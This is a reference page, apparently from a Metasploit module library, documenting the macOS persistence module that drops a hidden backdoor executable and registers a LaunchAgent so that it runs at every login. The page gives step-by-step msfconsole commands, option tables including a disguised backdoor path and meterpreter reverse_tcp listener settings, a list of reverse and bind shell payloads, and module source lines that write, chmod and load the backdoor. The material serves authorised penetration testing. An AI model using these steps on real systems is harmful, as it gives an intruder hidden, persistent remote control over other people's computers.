Mac OS X Persistent Payload Installer - Metasploit
This page contains detailed information about how to use the exploit/osx/local/persistence metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Mac OS X Persistent Payload Installer
Module: exploit/osx/local/persistence
Source code: modules/exploits/osx/local/persistence.rb
Disclosure date: 2012-04-01
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module provides a persistent boot payload by creating a plist entry in current user's ~/Library/LaunchAgents directory. Whenever the user logs in, the LaunchAgent will be invoked and this dropped payload will run.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/osx/local/persistence
msf exploit(persistence) > show targets
... a list of targets ...
msf exploit(persistence) > set TARGET target-id
msf exploit(persistence) > show options
... show and set options ...
msf exploit(persistence) > set SESSION session-id
msf exploit(persistence) > exploit
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the osx/local/persistence exploit module looks in the msfconsole:
msf6 > use exploit/osx/local/persistence
[*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/local/persistence) > show info
Name: Mac OS X Persistent Payload Installer
Module: exploit/osx/local/persistence
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2012-04-01
Provided by:
Marcin 'Icewall' Noga <[email protected]>
joev <[email protected]>
Available targets:
Id Name
-- ----
0 Mac OS X x64 (Native Payload)
1 Mac OS X x86 (Native Payload for 10.14 and earlier)
2 Python payload
3 Command payload
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BACKDOOR_PATH ~/Library/.<random>/com.system.update yes Path to hide the backdoor on the target.
KEEPALIVE true yes Continually restart the payload exe if it crashes/exits.
RUN_NOW false no Run the installed payload immediately.
SESSION yes The session to run this module on.
Payload information:
Description:
This module provides a persistent boot payload by creating a plist
entry in current user's ~/Library/LaunchAgents directory. Whenever
the user logs in, the LaunchAgent will be invoked and this dropped
payload will run.
Module Options
This is a complete list of options available in the osx/local/persistence exploit:
msf6 exploit(osx/local/persistence) > show options
Module options (exploit/osx/local/persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
BACKDOOR_PATH ~/Library/.<random>/com.system.update yes Path to hide the backdoor on the target.
KEEPALIVE true yes Continually restart the payload exe if it crashes/exits.
RUN_NOW false no Run the installed payload immediately.
SESSION yes The session to run this module on.
Payload options (osx/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
Exploit target:
Id Name
-- ----
0 Mac OS X x64 (Native Payload)
Advanced Options
Here is a complete list of advanced options supported by the osx/local/persistence exploit:
msf6 exploit(osx/local/persistence) > show advanced
Module advanced options (exploit/osx/local/persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (osx/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the osx/local/persistence module can exploit:
msf6 exploit(osx/local/persistence) > show targets
Exploit targets:
Id Name
-- ----
0 Mac OS X x64 (Native Payload)
1 Mac OS X x86 (Native Payload for 10.14 and earlier)
2 Python payload
3 Command payload
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the osx/local/persistence exploit:
msf6 exploit(osx/local/persistence) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/osx/x64/dupandexecve/bind_tcp normal No OS X dup2 Command Shell, Bind TCP Stager
4 payload/osx/x64/dupandexecve/reverse_tcp normal No OS X dup2 Command Shell, Reverse TCP Stager
5 payload/osx/x64/dupandexecve/reverse_tcp_uuid normal No OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)
6 payload/osx/x64/exec normal No OS X x64 Execute Command
7 payload/osx/x64/meterpreter/bind_tcp normal No OSX Meterpreter, Bind TCP Stager
8 payload/osx/x64/meterpreter/reverse_tcp normal No OSX Meterpreter, Reverse TCP Stager
9 payload/osx/x64/meterpreter/reverse_tcp_uuid normal No OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)
10 payload/osx/x64/meterpreter_reverse_http normal No OSX Meterpreter, Reverse HTTP Inline
11 payload/osx/x64/meterpreter_reverse_https normal No OSX Meterpreter, Reverse HTTPS Inline
12 payload/osx/x64/meterpreter_reverse_tcp normal No OSX Meterpreter, Reverse TCP Inline
13 payload/osx/x64/say normal No OS X x64 say Shellcode
14 payload/osx/x64/shell_bind_tcp normal No OS X x64 Shell Bind TCP
15 payload/osx/x64/shell_reverse_tcp normal No OS X x64 Shell Reverse TCP
Evasion Options
Here is the full list of possible evasion options supported by the osx/local/persistence exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(osx/local/persistence) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Error writing LaunchAgent item to <PLIST_PATH>
Here is a relevant code snippet related to the "Error writing LaunchAgent item to <PLIST_PATH>" error message:
100: EOI
101:
102: if write_file(plist_path, item)
103: print_good("LaunchAgent added: #{plist_path}")
104: else
105: fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
106: end
107:
108: if run_now?
109: cmd_exec("launchctl load -w #{plist_path.shellescape}")
110: end
FileError
Here is a relevant code snippet related to the "FileError" error message:
121: end
122:
123: # raises an error if a Launch Agent already exists at desired same plist_path
124: def check_for_duplicate_entry
125: if file?(plist_path)
126: fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"
127: end
128: end
129:
130: # @return [Boolean] user wants the persistence to be restarted constantly if it exits
131: def keepalive?
Error dropping backdoor to <BACKDOOR_PATH>
Here is a relevant code snippet related to the "Error dropping backdoor to <BACKDOOR_PATH>" error message:
164: print_status('Dropping backdoor executable...')
165: cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")
166:
167: if write_file(backdoor_path, exe)
168: print_good("Backdoor stored to #{backdoor_path}")
169: cmd_exec("chmod +x #{backdoor_path.shellescape}")
170: else
171: fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
172: end
173: end
174: end
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Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13497 Merged Pull Request: fix #13486, add support for python and cmd targets in osx/local/persistence
- #12871 Merged Pull Request: Update removal commands for osx/local/persistence
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5173 Merged Pull Request: fix fail_with errors
- #4372 Merged Pull Request: code style
- #2587 Merged Pull Request: Release fixups
- #2558 Merged Pull Request: Release fixes
- #2546 Merged Pull Request: Fix osx persistence module small issues
- #2513 Merged Pull Request: Add OS X persistence local exploit module
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See Also
Check also the following modules related to this module:
- exploit/osx/local/cfprefsd_race_condition
- exploit/osx/local/dyld_print_to_file_root
- exploit/osx/local/feedback_assistant_root
- exploit/osx/local/iokit_keyboard_root
- exploit/osx/local/libxpc_mitm_ssudo
- exploit/osx/local/nfs_mount_root
- exploit/osx/local/root_no_password
- exploit/osx/local/rootpipe
- exploit/osx/local/rootpipe_entitlements
- exploit/osx/local/rsh_libmalloc
- exploit/osx/local/setuid_tunnelblick
- exploit/osx/local/setuid_viscosity
- exploit/osx/local/sudo_password_bypass
- exploit/osx/local/timemachine_cmd_injection
- exploit/osx/local/tpwn
- exploit/osx/local/vmware_bash_function_root
- exploit/osx/local/vmware_fusion_lpe
- exploit/windows/local/persistence_image_exec_options
- exploit/windows/local/persistence_service
- post/windows/manage/persistence_exe
- exploit/linux/local/apt_package_manager_persistence
- exploit/linux/local/autostart_persistence
- exploit/linux/local/bash_profile_persistence
- exploit/linux/local/cron_persistence
- exploit/linux/local/rc_local_persistence
- exploit/linux/local/service_persistence
- exploit/linux/local/yum_package_manager_persistence
- exploit/unix/local/at_persistence
- exploit/windows/local/persistence
- exploit/windows/local/registry_persistence
- exploit/windows/local/s4u_persistence
- exploit/windows/local/vss_persistence
- exploit/windows/local/wmi_persistence
- post/linux/manage/sshkey_persistence
- post/windows/manage/sshkey_persistence
Authors
- Marcin 'Icewall' Noga <marcin[at]icewall.pl>
- joev
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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